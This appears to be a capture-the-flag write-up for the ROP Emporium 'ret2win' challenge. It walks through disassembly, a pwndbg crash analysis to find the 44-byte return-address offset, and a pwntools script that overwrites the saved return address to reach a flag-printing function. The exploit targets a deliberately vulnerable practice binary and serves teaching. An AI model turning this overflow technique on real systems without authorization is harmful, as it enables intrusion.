ret2win [ROP Emporium]

3 minute read

Here’s the problem link.
Here are the provided binaries: 32bit, 64bit

Locate a method within the binary that you want to call and do so by
overwriting a saved return address on the stack.

Seems pretty easy.
Since this chal is pretty straightforward, let’s start with the 32 bit one. objdump tells us there is a ret2win function:

080485f6 <pwnme>:
 80485f6:       55                      push   ebp
 80485f7:       89 e5                   mov    ebp,esp
 80485f9:       83 ec 28                sub    esp,0x28
 80485fc:       83 ec 04                sub    esp,0x4
                            ...
 8048653:       83 c4 10                add    esp,0x10
 8048656:       90                      nop
 8048657:       c9                      leave
 8048658:       c3                      ret

08048659 <ret2win>:
 8048659:       55                      push   ebp
 804865a:       89 e5                   mov    ebp,esp
 804865c:       83 ec 08                sub    esp,0x8
 804865f:       83 ec 0c                sub    esp,0xc
 8048662:       68 24 88 04 08          push   0x8048824
 8048667:       e8 94 fd ff ff          call   8048400 <printf@plt>
 804866c:       83 c4 10                add    esp,0x10
 804866f:       83 ec 0c                sub    esp,0xc
 8048672:       68 41 88 04 08          push   0x8048841
 8048677:       e8 b4 fd ff ff          call   8048430 <system@plt>
 804867c:       83 c4 10                add    esp,0x10
 804867f:       90                      nop
 8048680:       c9                      leave
 8048681:       c3                      ret

This is basically a cat flag.txt which needs to be jumped to.
Let’s run this:

$ ./ret2win32
ret2win by ROP Emporium
32bits

For my first trick, I will attempt to fit 50 bytes of user input into 32 bytes of stack buffer;
What could possibly go wrong?
You there madam, may I have your input please? And don't worry about null bytes, we're using fgets!

>

Let’s do it:

$ pwndbg ./ret2win32
Reading symbols from ./ret2win32...(no debugging symbols found)...done.
pwndbg: loaded 177 commands. Type pwndbg [filter] for a list.
pwndbg: created $rebase, $ida gdb functions (can be used with print/break)
pwndbg> cyclic 50
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaama
pwndbg> r
Starting program: /home/kunal/Documents/CTF/ROPEMporiumAgain/ret2win/32bit/ret2win32
ret2win by ROP Emporium
32bits

For my first trick, I will attempt to fit 50 bytes of user input into 32 bytes of stack buffer;
What could possibly go wrong?
You there madam, may I have your input please? And don't worry about null bytes, we're using fgets!

> aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaama

Program received signal SIGSEGV, Segmentation fault.
0x6161616c in ?? ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
─────────────────────────────────────────[ REGISTERS ]─────────────────────────────────────────
 EAX  0xffffc8e0 ◂— 0x61616161 ('aaaa')
 EBX  0x0
 ECX  0xf7f8889c ◂— 0x0
 EDX  0xffffc8e0 ◂— 0x61616161 ('aaaa')
 EDI  0xf7f87000 ◂— 0x1d9d6c
 ESI  0xf7f87000 ◂— 0x1d9d6c
 EBP  0x6161616b ('kaaa')
 ESP  0xffffc910 —▸ 0xf7fe006d ◂— jge    0xf7fe0077
 EIP  0x6161616c ('laaa')
──────────────────────────────────────────[ DISASM ]───────────────────────────────────────────
Invalid address 0x6161616c






───────────────────────────────────────────[ STACK ]───────────────────────────────────────────
00:0000│ esp  0xffffc910 —▸ 0xf7fe006d ◂— jge    0xf7fe0077
01:0004│      0xffffc914 —▸ 0xffffc930 ◂— 0x1
02:0008│      0xffffc918 ◂— 0x0
03:000c      0xffffc91c —▸ 0xf7dc7b41 (__libc_start_main+241) ◂— add    esp, 0x10
04:0010│      0xffffc920 —▸ 0xf7f87000 ◂— 0x1d9d6c
... 
06:0018│      0xffffc928 ◂— 0x0
07:001c      0xffffc92c —▸ 0xf7dc7b41 (__libc_start_main+241) ◂— add    esp, 0x10
─────────────────────────────────────────[ BACKTRACE ]─────────────────────────────────────────
  f 0 6161616c
Program received signal SIGSEGV (fault address 0x6161616c)
pwndbg>

Find the offset to overwrite the saved eip:

cyclic -l 0x6161616c
44

And write the corresponding address of our ret2win function (0x08048659) after the 44 byte padding:

from pwn import *
context.update(arch='i386', os='linux')

binary = './ret2win32'
elf = ELF(binary)

win = elf.functions['ret2win'].address


with open('solve.txt', 'w') as f:
    f.write(cyclic(44))
    f.write(p32(win))

# p = process(binary)
# p.send(cyclic(44) + p32(win))
# p.interactive()

And finally get the flag:

$ ./ret2win32 < solve.txt
ret2win by ROP Emporium
32bits

For my first trick, I will attempt to fit 50 bytes of user input into 32 bytes of stack buffer;
What could possibly go wrong?
You there madam, may I have your input please? And don't worry about null bytes, we're using fgets!

> Thank you! Here's your flag:ROPE{a_placeholder_32byte_flag!}
zsh: segmentation fault (core dumped)  ./ret2win32 < solve.txt

The 64bit version can be easily solved by simply changing the padding to 40 and updating the ret2win’s address.